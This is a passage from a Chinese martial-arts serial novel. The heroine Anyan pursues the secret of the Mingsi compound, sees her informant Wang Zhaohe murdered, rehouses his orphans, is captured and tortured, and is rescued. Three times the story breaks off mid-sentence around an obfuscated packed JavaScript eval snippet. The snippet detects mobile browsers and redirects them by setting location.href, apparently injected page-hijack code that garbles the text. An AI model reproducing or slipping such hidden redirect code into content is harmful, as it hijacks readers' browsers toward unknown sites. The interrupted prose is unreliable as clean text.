汪照和仿佛充耳不闻,脚下一瞬不停。 “我去过那个地方。”安晏也不管他究竟是否回答,径自说了下去,“我知道,您曾在那座宅院当中,您曾是明思院的负责人。” 这件事——明思院相关之人的姓名,以及他的住处,她是向飞春阁打听到的。飞春阁要价不菲,她只能买到这么一点消息,然而也终究只有飞春阁,能给她想要的消息。 “但二十年前,您也不过与我相仿的年纪,这背后定有真正的主谋。我想您一定有所了解,建造明思院之人,他到底要做什么? “那个地方的人,理应都死了才对,可前辈为什么活了下来?他为什么没有杀您? “建造明思院,和曾经消失的门派——栖归楼,是否有关系?” 汪照和倏忽顿住了脚步。 细雨迷蒙,疏疏落落滴在村口的石碑上,炊烟次第升起,夕阳渐渐沉向西方。 他回过身,直勾勾地盯着安晏。 安晏挑眉:“看来,确实有关。” “这些事情,与你无关。”汪照和哑声开口,喉咙里仿佛含了一把黄沙,“你也不要再问了,知道得越多,你只会面临越多危险。” 安晏声线凝定:“我已经见过他了——那个杀人魔,那个杀了所有人的恶魔。” 汪照和身子一抖。 “那日情形,我虽未亲眼得见,但只听说,就觉得是人间地狱也不为过。”安晏目不转睛地望着他,“为什么会变成那副样子?我听说明思院里都是孩子,你们培养出了一个杀人魔,是吗?” 她想了很久,似乎只能得到这一个答案。 汪照和移开了目光,春夕风寒,晚霞如血,好似有什么从心底的裂隙中悄然浮出:“你不要再问了,我什么都不会说,也不能说。” “前辈可知……”安晏沉下目光,正欲继续追问,忽见两个孩子远远跑来,一左一右地抱住了汪照和。 “爷爷,您回来啦!我们肚子都饿了!”较小的一个只有四五岁,拽着汪照和的袖子,不住地摇晃着。 “我们老远就看见您了,实在等不及,就出来接您回家了。”较大的一个约有八九岁了,将菜篮从汪照和手中接过,又转眼望向安晏,“这个姐姐,是爷爷的客人吗?” “不是,姐姐只是来问路。”汪照和眼角柔和下来,慈爱地摸了摸两个孩子的头顶,“现在已经没事了,爷爷这就回家,给你们做饭。”他不再看安晏,一手牵起一个孩子,转身向村子里走去。 “爷爷,晚上吃什么呀!”较小的孩子蹦蹦跳跳地,“有肉吃吗?” “有,爷爷买了半只鸡,大家一起吃。” “爷爷,我也帮您一起做饭。” 三人渐渐走入村子深处,安晏没有再追。她望了很久,终于转身离开了。 她该如何做?他已经有了家人,有了孩子、孙子,曾经的事情与他们没有关系。那场噩梦般的杀戮,已经过去了六年,她是否真的应该打破他们如今的平静安宁,去探求六年前的真相? 如果,墨白在她身边……如果,是墨白,他又会如何选择呢。 ———————————— 安晏揣着满腹心事,回到清临县远郊找了一间无人居住的民房。去飞春阁一趟几乎花尽了她的银子,她已经十数日不敢睡在客栈里了。 不过,她仍然觉得,这银子花得值,她甚至后悔自己没有早一点去飞春阁拜访,也不必白白耽误了两年时间。虽然她带的钱太少,飞春阁无法告诉她更多——而且,听薇娘话语之意,似乎那件事牵涉了江湖不可告人的巨大秘密,不是有钱就能买到的。 但也无妨,她自己问,就是了。 这间废弃民房里仅一张木床,连被褥都不剩,但有个遮风避雨的屋檐,已经比露宿枝头强上百倍。黑夜如幕布披挂下来,屋内未留灯烛,阴雨不见月光,安晏燃亮火折子插在窗框上,抬袖遮住口鼻,拿稻草扫去床板上的灰尘—— 火光倏忽一闪,无风而动! “叮”地一声脆响,采萧剑出鞘,和破窗而入的两把长刀重重一击! 火折子已灭,安晏却顾不上去拾,足尖一蹬,退出门外,而后拔足便奔! 对方竟有五人,虽然方才一击,她估摸着她的武功在那二人之上,但以一敌五,她恐怕也无法全身而退! 她身形如电,向着清临县城下跑去,直跑到城墙上巡夜士卒的视线中,方住了脚。 那五人并未追来。 但回去是不可能了,看来今夜又要睡在树上。安晏收起采萧剑,长长地叹了一声。 那五人长刀制式相同,刀法、步法也极为相似,显然是经过严密训练的暗卫杀手。要杀她的人,会是谁? ———————————— 五日之后,安晏又一次在城外拦住了汪照和。 “我已经说得很明白,姑娘的问题,我无可奉告。”汪照和的目光也冷了,话音尽显不耐,绕过安晏,头也不回地向渔安村走。 城外近郊处行人不绝,她也不方便多问,于是仍然跟在汪照和身后,向东南方走了七里。 汪照和不得不停住了脚步。 “姑娘,你还是请回吧,即使你再跟着我一个月,一年,我也是同样的回答。” 安晏瞬也不瞬地凝注着汪照和:“五日前夜里,有人来刺杀我,前辈可知情?” 汪照和一怔:“姑娘怎会觉得与我有关?”静了静,叹道,“我早就与这个江湖毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133470|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无关系了,我如今姓阳,你口中之人,早在很多年前,就已经死了。” “我前脚见到前辈,后脚就遭遇刺杀,您说这事与您毫无关系,打死我也不信。”安晏没好气地瞥了汪照和一眼,“就算不是前辈的人,也绝对是与前辈有关之人。” 汪照和眸子微黯:“我确实毫不知情,但既然此处不安全,姑娘还是尽快离开吧。” 安晏不以为然地冷哼一声:“离开?您应该不希望,那些人惊扰您如今的家人吧?” 汪照和果真眉峰一凛:“姑娘此言何意?” “前辈以为自己早已退出江湖,实则不然,您的一举一动,都仍在某个人的监视之下。”安晏顿了顿,叹息着放缓了语气。如果汪照和对五日前的黑衣杀手毫不知情,她就更加不能离开,“那五人来杀我,却未料我轻功好,顺利逃走了。他们杀我不成,反而打草惊蛇,我想,他们未必会就此罢休,无功而返。我与您相见,便遭遇刺杀,您说,他们一直以来监视的人究竟是我,还是您?” 汪照和双目沉凝,映着春色飘摇的光影。 安晏又问:“您说,今日您与我相见,他们会知道吗?” 汪照和攥紧了手中的竹篮。 安晏再问:“他们要杀我很难,我要杀他们,其实也很难,但逃起来却是很容易的。如果我真的走了,他们寻不到我,您说,他们会不会来找您?” 汪照和咽了一口口水。 她的每一个问题,他都知道答案,可是喉咙里像哽住了刺,每一个,他都无法回答。 安晏眯起了眼:“如果他们来找您,您说,他们会不会相信您所言,认为您真的什么都没有告诉我?” “姑娘。”汪照和终于启口,风烟瑟瑟,他的话音也染了苍凉,“他们要杀我,我早该死了,这六年,也不过是苟且偷生。然而前因种种,与你无关,姑娘还是速速离开,不要再插手往事了。” 费了许多口舌,没想到汪照和仍然什么都不肯说,一门心思只劝自己离开,安晏不由得撇撇嘴,抬起下巴,指向汪照和身后:“前辈视死如归,您有没有想过,他们该怎么办?” 汪照和猛地回身,那个四五岁大的小孩子摇摇晃晃地跑来,一下子扑进了汪照和怀里。 “爷爷,您回来啦!” “爷爷,您太辛苦了,下次还是我陪您一起去吧。”另一个年长些的孩子皱眉道。 “没事,没事,爷爷还没有老到走不动路呢。”汪照和摸了摸两个孩子的头顶,方才目光中的浮冰已在一瞬间消融殆尽,“走吧,离晚饭还有时间,爷爷教你们识字。” “好!”两个孩子齐声应着,一左一右,牵着汪照和离开了。 安晏没有阻拦,站在村口,望着三个人的背影渐渐消失。 她长长叹了口气,打算就近找一个地方,暂住一些时日。 以一对五,她的确没有把握取胜,但她无论如何不能离开。 她必须保护村子里的人,她也要问出背后的真相。 然而走了两步,她突然顿住了。 ——刚才,那两个孩子,不是五日前的两个孩子! 心底突然升腾起一阵冰凉,四谷村黄老头的脸在脑中倏忽闪过,她当即折身,向村子里跑去! 40. 一把妖剑 安晏循着记忆找到了汪照和的住处,屋内声音嘈杂,她一脚踢开了门。 屋子里七个人齐齐将视线投向了她。 安晏怔住了。 六个年纪不同的小孩子围坐在桌边,汪照和坐在他们对面,手里握着笔,桌上放着七八张纸,每张纸上都写着几个大字。 他真的在……教孩子们识字? “爷爷,这个姐姐,是您的好朋友吗?”安晏听见刚才两个孩子中较小的那个问。 “咦,爷爷,她是不是之前找您问路的姐姐?”安晏又看见了五日前来接汪照和的两个孩子中,较年长的那个。 “可是姐姐怎么把家里的门踢坏了?” “姐姐是不是被坏人欺负了?” “刚才姐姐就和爷爷在一起,一定是来做客的!” 孩子们七嘴八舌地议论起来,汪照和长叹一声,放下笔:“小念,你先带着弟弟妹妹们识字。” “好!”小念是他们当中年纪最长的,汪照和叮嘱过后,起身走向安晏。 “这是……怎么回事?”安晏惊疑不定,目光在汪照和与孩子们脸上来回。 “我不知姑娘想到了什么。”汪照和弯腰扶起倒下的门板,“这些孩子,都是我六年来收留的,无家可归的孤儿。” 安晏心中一动,不由得又望了那些孩子们一眼。 她也是被师父捡来,收养长大的孤儿,此时倒似乎有些情同身受了。 “对不起,”安晏垂目,诚恳道,“是我误会了,这个门,我立即修好。” 汪照和知道安晏误会了什么,但他没有再说,又叹了一声:“姑娘若还有疑惑,不妨留下来,陪孩子们吃一顿晚饭吧。” 安晏踟蹰半晌,终微微点头:“好。” ———————————— 这一顿农家的粗茶淡饭,实在是安晏近些日子吃得最温暖,最美味,最热闹的一顿饭。孩子们叽叽喳喳吵闹不止,她几乎忘了不知潜藏在何处,伺机而动的暗杀者。 吃过晚饭,汪照和带着孩子们读了一会儿书,安晏则将那木门修好。夜色渐深,孩子们陆续睡去,汪照和执着烛台,和安晏一起去了厨房。 “我一身武功已不复存在,年岁大了,身子更是畏寒,姑娘多担待。”汪照和不想打扰孩子们,然而春夜料峭,他在院中待不久,厨房四面围墙,到底暖和一些。 “前辈,我也不与您绕弯子了。”安晏牢牢注视着他,“六年前的事,还远远没有结束,如果不查清真相,只怕会有更多无辜的人受到牵连而失去性命。” 汪照和叹息道:“好,我会告诉你,我所知道的一切。” 烛火飘摇,安晏的目光一瞬不瞬:“那明思院,真的是几个门派联合,共同建立的吗?他们到底为什么要建这样一个宅子?他们究竟在里面做什么?所谓共御妖剑,共守江湖一说,又是什么东西?” 汪照和抬眼,似乎十分惊讶,半晌才微微苦笑道:“想不到,姑娘竟已调查得如此详尽。” 安晏凝眉:“二十年前,到底发生了什么事?” 不过,她却忍不住想,整整三年时间和足足三百两银子,只查到这些,可算不上详尽。 汪照和却没有回答,颤颤地起身,将几支细柴伸到烛焰上,燃着之后,又弓着身子,将细柴塞进灶台。不一会儿,炉膛渐渐明亮,他便又裹着衣服,依偎着炉壁坐了下来。 春夜漫漫,终究冷了。 “一切事情的开端,其实要从二十五年之前说起了。”他缓缓开口,语意仿佛浸透了岁月,而尽染萧凉,“那时姑娘尚未出生,自然也不会知道,妖剑寒星,祸乱江湖一事。” “与栖归楼楼主有关?”安晏问。 汪照和怔了怔:“姑娘知道栖归楼?”又苦笑了一声,“是,这么大的事,有心去查,总不可能全无踪迹。当年,那栖归楼并立两位楼主,其中一位,正是妖剑寒星之主。” 安晏不由得皱眉:“栖归楼有两个楼主?” “不错。寒星剑之主乃一位女子,另一位楼主则是她旧日同门。寒星剑是一把认主之剑,锋芒极盛,世间无二。然而相传此剑是一把妖剑,得之者,皆会被其吞噬心智,堕入魔道。我那时年纪尚轻,本也不信这传说,可寒星之主确实蛊惑同门,与她一起叛离师门,建起了栖归楼。 “栖归楼二位楼主武功极高,手腕狠辣,他们二人弑师、杀友,又接连屠杀了江湖数个门派成百上千的弟子,大有血洗江湖之势。江湖各派不敌,只得俯首称臣,以避免灭门之灾。” 安晏眉心越皱越紧:“我怎么听说,那栖归楼楼主被杀了,栖归楼也就此解散了?” “是,想来姑娘也已知道,栖归楼勾结祈国军队,攻破徐明关之事了。”汪照和见安晏点了头,才续道,“后来,朝廷派了兵,为保楼中弟子性命,栖归楼不得不遣散了所有人。再后来,据说那二人终于拔剑相向,缠斗数个日夜,最终一人带着寒星剑跳了崖,另一人身负重伤,此后生死不明。” 安晏听完,觉得脑子里已经塞满了浆糊。 这个故事……怎么和许姨姨所讲,不太一样? 至少,许姨姨的故事里,没有提到半句关于妖剑的事。 她忍不住问:“那寒星剑,终究是一把剑,若执剑者心怀善念,一把剑又如何杀人?” 汪照和深邃地看着她:“杀人的不是剑,而是恐惧,左右人心的,也只是恐惧。然而,从来没有人能克服这种恐惧。” 安晏不由得沉默了,浮云寂静,夜色无声,良久,她终于再度启口:“那……这些,和明思院,又有什么关系?” “自然大有关联。”汪照和安静地道,“寒星剑与栖归楼虽然消失了,江湖各派却仍心有余悸。他们便联合起来,选择了一些孩子,送进建德县外的明思院,希望可以……培养出能与寒星之主匹敌之人。” 安晏一下子发觉了他话里的问题:“选择了一些孩子?如何选的?” “我不知道。”汪照和却摇了摇头,“我被派往建德县时,孩子们已经在明思院当中了。” “您……”安晏咬了咬牙,“前辈可记得,一个叫做伏焱的孩子?” 汪照和目光疑惑:“伏焱?” “算了,那时他肯定不叫这个名字。”安晏忙摆摆手,嘟囔了一句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145487|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又问,“前辈是何时离开明思院的?他没有杀您,您可有见到那天发生了什么?那天……他杀死所有人的那天,您是否仍在明思院里?” “姑娘,”汪照和顿了顿,却静静道,“你知道我的名字,想来你也一定知道,我究竟是什么身份了。” 安晏双瞳幽深,闪烁着清亮如冥的光:“您是麒麟阁老阁主的长孙,前阁主汪褚阳长子,当今阁主的亲侄。” “不错。”汪照和微微颔首,“但姑娘有一点,或许是误会了。那日杀死所有人的,我想,并非某一个凶手。” “前辈此言何意?”难道杀人者,不止伏焱吗? 汪照和侧开视线,望向火光明灭的炉膛,烟气浮在他眼上,像蒙了一层苍白的霜:“当年,爷爷被栖归楼所杀,父亲身为长子,便继任了阁主一位。几大门派恐惧妖剑,以麒麟阁与玄刀门为首,联合起来选出了一批孩子,送往明思院,而我,则被指派成为管理人。 “建德县离麒麟阁不远,我也只需要偶尔前去巡视,确保一切照常运转。父亲并非完全信任我,我虽问过他那些孩子的来历,但是他没有说。” 安晏静默地望着他。 “六年前,明思院出事那日,原本是孩子们比武选魁的终试,按照计划,获胜者将被推举为武林盟主。”汪照和的话音很平静,平静之下,却似潜藏着某种深渊,“我身为管理人,理应亲临见证,我也确实去了。可是,进了休息的客房,我便失去了知觉。 “再醒来时,不知道过去多久,宅子里已经没有任何——活着的人。” 说完这句话,仿佛身周凭空生出冷意,他又将外袍裹紧了些,“我只看见了一地尸首,血液干在地上,整座明思院的石砖都被染成了红色。我不知道究竟发生了什么,但玄刀门与麒麟阁素来不合,几大门派相继灭门后,二者更有争夺霸主之意而互不相让,明思院内部,也渐渐分成两派,甚至那些孩子们都牵涉其中。我没有多管,我想着两方势力相互制衡,或许是件好事,却没料想,看似平静的水面之下早已剑拔弩张,一触即发,缺少的只是……一个火种。” 安晏不禁一愕,她忽然想起了黄老头的话。 伏焱的话。 “我根本什么都不用做,只需要向其中投入一块浸了油的布——就足够将所有人,烧成灰烬了。” 仿佛应和安晏所想,汪照和苦涩地笑了一声:“我想,我一定就是那个火种。” 他被人迷晕,下落不明,玄刀门主事者必然想让他们一方的人夺得比武胜利,趁此机会掌控整个江湖,但麒麟阁一方,必不会将武林盟主的宝座拱手相让——原本勉强维持的平衡因他的失踪而被打破,压抑许久的战争,就这么爆发了。 安晏轻声开口,仿佛害怕碰碎了什么:“那后来呢?您没有再回到麒麟阁?” 汪照和摇头:“醒来之后,我一身武功尽失,还能做什么呢?再者,所有人都死了,我此时回去,如何证明自己的清白? “我没有再回去过,也没有再见到任何人。从那一天起,麒麟阁的汪照和就死了。我来到渔安村,收养这些孤儿,只求余生,能减少一些自己的罪孽。” 41. 带你们去新的家 门外夜风清寒,掺了白惨惨的月光,在炉火间穿梭呼啸。往事已在安晏脑中梳理成网,她垂下眼睫:“我想,我知道迷晕您的人是谁。” 汪照和问:“是那个,唤作‘伏焱’之人吗?” 安晏想了想道:“前辈对‘谢檐长’这个名字,可有印象?” “谢檐长……谢檐长……”汪照和凝眉,反复念了几遍,眼角忽微微一颤,“明思院里,确实有一个叫谢青来的孩子。” 这伏焱,怎么又有了新名字?安晏不由得腹诽,倾过上身:“他是一个怎样的孩子?” “他很聪明,刀法、谋略,都出类拔萃。两方都想拉拢他,他却始终中立,在两方势力之间周旋,没有人能猜透他的心思。”汪照和阖上眼,笑得仿佛叹息,“原来是他。” “他杀了很多人。”安晏凝眸看着他,“前辈或许听过三年前的成州杀人案,还有不久前清州郑家灭门一案,皆由他一人所为。” 汪照和却静静道:“我知道。” 安晏一怔,再度凝眸:“所有曾知晓他行踪之人,他都杀了。” 汪照和仍然平静,不如说,他仿佛更加平静了:“我知道,如果他就是谢青来,或许终有一日,他也会来杀我吧。” 安晏沉默良久:“那些孩子,该怎么办?” 汪照和望着她,漆黑的眸子深邃如海:“渔安村向南三里,有一间穹庐寺,我与方丈白山相识,他知道我收养了这些孩子,也会时常救济一二。” 安晏神色微变:“我不会管,您最好活着。” 汪照和不置可否地一笑:“前日刺杀姑娘的杀手,是否可能,与那伏焱有关?” 安晏轻轻摇头:“不是他,他不会信任那些杀手。”顿了顿,“前辈,那些人,有没有可能,是麒麟阁或玄刀门的人?” 汪照和深深地望着她,然而还未回答,忽听院子里传来了脚步声。 安晏忙抢步跨至门边,汪照和也站了起来,看见院中的人,安晏却怔了怔。 “唔……姐姐,爷爷。”是一个孩子,揉着眼睛,扑进了汪照和怀中,“呜呜呜,我梦见大灰狼跑进村子里了,呜呜……我以为爷爷不见了……” “乖,恒儿乖,爷爷一直在呢,来,不哭了,爷爷陪你回去睡觉。”汪照和将他一把抱了起来,温柔地抹去他小脸上的泪花,又转头对安晏道,“姑娘,明思院一事,我已知无不言,若还有疑问,就明天再说吧。家里没有多余的房间,姑娘若不嫌弃,可以在我的房内睡一夜。” “不用,您好好休息,我明日再来找您。”安晏原本还想打听一下麒麟阁的事,但此刻也只得作罢。她目送二人回房,踟蹰稍许,仍然离开了。 安晏在离村子不远的地方找了一个避风处,打算凑合过上一夜。月色皎皎,清亮如倒扣的玉盏,她望着寂静疏朗的夜空,没有半分睡意。 她原本以为她只是在追查一个丧心病狂的杀人魔,她忽然发现,她似乎正在揭开什么不可告人的秘密。 她自然知晓江湖之下暗潮汹涌,但如今,她好像一脚已踏了进去。 墨白……墨白会与这件事有关吗? ———————————— 春月移过天中,安晏才终于渐渐睡去,然而还不到一个时辰,她就被远处的人声吵醒了。 嘈杂的呼喊声混着来来往往的脚步声,其中更夹杂着哭声,安晏心中不由得升起某种不好的预感,急忙跳下树冠,向村子里跑去。 ——便见到汪照和的院子外,围了一群人。 她指尖颤抖,在袖子底下握紧了,走出人群,几个孩子都在院中,见到她,小念当先扑进了她怀里:“安姐姐……” 她抬眼,看见了院子一侧,白布盖住了一个人。 心跳一窒,她紧紧抱着小念,尽量镇定地道:“没事的,小念,姐姐在。” 几个年岁小的孩子俱一脸懵懂,似乎尚未明白发生了什么,小念在安晏怀里不住地呜咽,另一个年岁稍长的孩子小宁站在弟弟妹妹身边,抿紧了嘴唇,向安晏望来。 渔安村里正走上前:“姑娘识得阳楚伯?” 安晏知道阳楚是汪照和化名,于是便顺着里正的说辞,微微颔首:“是,我是……他的旧识。” 里正见她年轻,腰中又配着剑,不免有些怀疑,但见小念似乎与她相熟,便不再深究:“姑娘还请节哀。” 安晏放开小念,让他带着弟弟妹妹先去屋子里等她,而后将里正拉到一旁,压低了声音:“究竟发生了什么事?” “实不相瞒,阳楚伯遇害,我也不知道发生了什么。是小念来找我,说他听到动静,下床查看,阳楚伯已经死在了房间里。我已经让村人搜寻过了,但各处,都没有凶手的踪迹。” 安晏深深吸了口气:“我去看一眼阳伯伯的尸体。” 揭开白布,汪照和双目已阖,但脸上仍能看出些许措手不及的惊愕。他中了两刀,一刀从前胸刺入,但偏离了心脉少许,另一刀则直接抹断了咽喉。 看来这第一刀,汪照和有所警觉,虽然身无内力,但残留的江湖本能,令他下意识地做出了反应。 只是,终究躲不开第二刀。 重新盖上白布,安晏起身,对里正拱手:“还麻烦您,帮忙将阳伯伯入葬。” “这倒没什么,阳楚伯的身后事,姑娘无需担心。”里正忙扶起安晏,目色却染着踟蹰,“只是,那些孩子们……村子里的人家都不富裕,收养这些孩子,实在有些困难……” “这些孩子,我来安置。”安晏侧目望着汪照和的尸体,那方惨白的布,终还是刺痛了她的眼。 汪照和算不上无辜,可她是否,又害死了一个本不必死去的人? ———————————— 天终于亮了。 山光水色,原野阡陌,一切都似昨日,只余下空气中几不可闻的血腥,静悄悄地盘踞在她心底。汪照和的尸身已被运走,那不是她该操心的事了,孩子们陆续醒来,她就着家里剩下的菜面,做了几张薄饼。 孩子们吃得津津有味,只小念和小宁眼下挂着黑色,似乎同她一样彻夜未眠。吃到一半,一个叫小月的孩子也察觉到了空气中的压抑,怯怯地放下了饼:“安姐姐,吃完饭,我们是不是就要走了?” 她这一问,其他孩子也都停了下来,望向安晏。 安晏笑笑,柔声道:“嗯,姐姐带你们去新的家。” 小月双眼清亮,似乎含着泪珠:“昨晚,马伯伯说,爷爷原来的家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152543|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有事需要他,所以他,不能再照顾我们了。” 安晏微怔,这里正,竟编了这样一个说辞?几个孩子都似强忍着泪水,安晏叹了口气,只得就着里正的话道:“是啊,你们都见过爷爷的朋友,一个穿着大袍子,脑袋光溜溜的,没有头发的伯伯吗?” 几个孩子都点了头,安晏这才笑着道:“昨日你们阳爷爷和我说了,让我先送你们去那个伯伯家里,等他办好了事情,就去接你们。” 安晏说得煞有介事,几个孩子似乎都相信了,那个年纪最小,叫棋儿的孩子眨着眼睛问:“安姐姐也去吗?” 另一个叫清儿的小女孩也问:“安姐姐会和我们在一起吗?” “安姐姐也有事情呀,不能一直陪着你们。”安晏伸手,摸了摸她的头顶,“不过,我保证,我办好了事情,也一定会去看你们。所以,安姐姐和阳爷爷不在的时候,你们一定要好好听话,认真读书,不要让我们担心,知道吗?” “嗯!”几个孩子都使劲地点头。 “好了,快吃饭吧。”安晏笑笑,心底的疼痛却渐渐织成了细密的网。 小念和小宁,始终没有说话。 其他孩子也终会明白,他们的“阳爷爷”,不会再回来了。 ———————————— 吃过早饭,简单收拾了孩子们的日常衣物,安晏就带着他们,离开了渔安村。一路无虞,那些杀手似乎已经离开了,春景和煦,孩子们觉得新鲜,兴奋地吵闹不停——只有小念和小宁,仍显得心事重重。 安晏几次想开口安慰,又几次将嘴边的话咽了回去。 她忽然觉得,一切言语都太苍白,她好像突然失去了安慰的能力。 到了穹庐寺,安晏说明来意,方丈唏嘘良久,让弟子带着孩子们各去安置了。他似乎并不知晓汪照和之前的身份,安晏也没有多问,这间寺庙与世无争,她也不想给方丈和孩子们带来麻烦。 离开寺庙,日色已西,将漫漫山野披上一层明丽的锦。安晏心事重重地往清临县走,这一趟倒不算毫无收获,但如今线索又断了,她下一步能去的地方,就只有苗竹村了。 她也很久没有墨白的消息了,她却完全不知道该去何处寻他。 又是不是应该去寻他。 突然间,林间春草一响。 安晏立时顿住,采萧剑一瞬已出鞘! 剑锋刺破春光,安晏先发制人,当先刺入一人右肩,身后刀声凝风,她矮身避过,一脚横踢中那人胸口,然而右侧忽有两把刀破空袭来,一齐拍中剑脊,她手腕一麻,强运内息,逼退那二人,左肩却来不及防御,被第五人的长刀狠狠划过。 鲜血溅上她脸颊,她勉强用剑鞘防住,采萧剑再度凝气,削向右侧之人的手腕,剑势如电,击落了他的长刀,又与另一人长刀相击—— 背后却突然一凉。 左右受制,回身已不及,她只得堪堪斜过身子,那刀刃便擦着她右肩,映亮了她眼底的明光,她折肘向身后猛击,撞上那人前胸,身前却又有一刀砍来,她连忙折腰,抽回剑鞘防御,然而一刀之后又是一刀,竟有三个人齐齐斩下,将她砸向地面! 胸中气流一窒,安晏不由得跌在地上,随即两把刀,贴上了她的咽喉。 42. 钓出了你这条鱼 充斥林野的风声,一瞬间安静下来。 安晏这才看清,这次来杀她的,竟有十个人。 左右打不过,也逃不走了,她便不再挣扎,喘息着看向那些人:“你们究竟是谁?” 却没有人回答,脑后突然一击,她竟彻彻底底失去了知觉。 ———————————— 再醒来时,安晏发现自己在一间四面无窗的暗室中。 而且,她是被人鞭打,生生疼醒的。 她被绑在铁柱上,手脚拴着镣铐,屋内四角烛灯如冥,映亮了室内五个人的身影。其中三人带着伤,是那日袭击她的人。 那一鞭含有内力,剧痛刺骨,安晏浑身抖了一下。 “洪领事,她醒了。” 安晏听见那人回身禀报,抬起眼,坐在正中的黑衣人起身,向她走来。 “你们究竟是谁?”安晏不闪不避,望进他眼中。 这一举动却似激怒了他,他扬手狠狠扇在安晏脸上,直令她眼前一阵昏暝:“什么时候轮到你问我了?” 安晏双耳一鸣,险些再次失去意识。刀伤混着内伤,加之地牢阴暗潮湿,她也有些撑不住了,好不容易重新凝聚起神志,那洪茂椿却从身边黑衣人手里取过皮鞭,另一手捏起她的下巴:“告诉我,你的师父在什么地方。” 安晏咬着牙,心下却不免惊疑,他们难道竟不是来监视汪照和的?他们竟是冲着自己——冲着师父,或是许姨姨、唐姨姨来的? “说!”洪茂椿见安晏不答,加重了手下的力度,“我知道你的师父,就是寒星剑和血祭剑法的主人!” 安晏心中更加震惊:“……你说什么?我师父怎会是……寒星剑的主人?” 宗暮非不用兵器,唐姨姨使刀,许姨姨的佩剑,不是凌章剑吗? “看来,连自己的徒弟都没有说。”洪茂椿冷笑一声,“告诉我你的师父在哪,我保证不伤你性命。” 安晏死死地盯着他:“汪照和是你们杀的?” “不错。”洪茂椿眯起眼,“阁主本念血脉之情,留了他一条性命,让他引出阁主需要的人,他却辜负阁主苦心,对你这个外人说三道四,阁主自然要杀他以绝后患。不过,钓出了你这条鱼,也算有所收获。” 阁主?血脉?如此说来,他们是麒麟阁之人。他们原本想引出谁?伏焱吗?他们想找师父,又有何居心? 她觉得自己好像忘记了一件重要的事,突然又有一鞭,狠狠抽在她肩头! “嘶——” 安晏不禁倒吸了一口气,洪茂椿已落下第二鞭:“小贱人,老子问你话,你听见了吗!” “你们……要找的人,是伏焱,对吗?”她紧咬牙关,声线颤抖声音破碎,唯目光仍亮得像刀子。她想起来了。兴德郡的夜老板,何三,是不是也和麒麟阁有关系? “哦?”洪茂椿停了手,嘴角挑起一抹冷笑,“你知道很多,你早该死了。”他将皮鞭放回黑衣人手中,却又从腰间摸出一把匕首,“阁主似乎另有打算,我不能杀你,但是,你始终不回答我的问题,我挖掉你一只眼睛,割掉你一只耳朵,想来阁主也不会怪罪我。” “你——!”安晏下意识地向后躲避,身子却靠上了冰冷的铁柱,“你若敢伤我,他日我师父知道,必让你死无葬身之地!” “这不是正好?还省了我们寻你师父的时间。”洪茂椿冷笑着踏上前,再次捏起她的脸,“这一双眼睛倒是好看得紧,可惜……” 话未说完,忽然一阵尖锐风声,身侧那黑衣人的身子已应声倒地! “什么人!”余下几人纷纷抽出长刀,安晏也转眼望去,门外月色清绝,立着一个黑衣黑发,削瘦而冷隽的身影。 她的眸子一瞬间湿了:“唐姨姨……” 她来救她了。 ———————————— 洪茂椿听得安晏这一声低唤,再看向门外之人,她左手执刀,右手衣袖却随风招展,空阔无物—— “唐璃。”终是从牙缝间,迸出了这两个字。 指尖却已发抖。 唐璃足尖一顿,如电光掠进了暗室。 铅白色刀刃反射着铅白色的月光,她双眸沉凝,如星月难及的树影下,蛰伏了一整个冬日的野兽。执雁刀她用着并不趁手,但对付这几人足够了,刀刃迅疾利落,接连划破三人咽喉,最后将洪茂椿逼至墙角。 “你……” 最后一个字,断在了刀下。 洪茂椿的身子滑落在地,唐璃这才回身,砍断了安晏手脚上的铁链。 “唐姨姨……”安晏扑进唐璃怀中,安定和踏实重新充满了心跳,她忍不住像孩子一样啜泣起来。 “我们先离开。”唐璃收了刀。 “嗯。”安晏听话地松开手,抹了两把眼泪。身上伤口虽痛,但都不致命,那日围攻她的有十个人,不知道另外五人在什么地方,她们必须尽快离开,到了安全之所,她还有一肚子的问题想问唐璃。 然而,正要向外走,安晏却忽然觉得头脑一阵晕眩。 “安晏?”唐璃察觉有异,急忙抢上一步,扶住了安晏摇摇坠落的身子。 后者已失去了知觉。 ———————————— 衣袖携风,拍中胸口,鲁仁全不由得跌坐在地。脏腑火烧一样地疼,他挣扎半晌,鲜血终还是从嘴角溢了出来。 但他不敢呻吟一声,头顶的目光仿佛冥府阎罗,他浑身抖着,爬起来,重新端正地跪伏在他脚下。 “给我一个留下你性命的理由。” 墨白的声音比冥泉更冷。 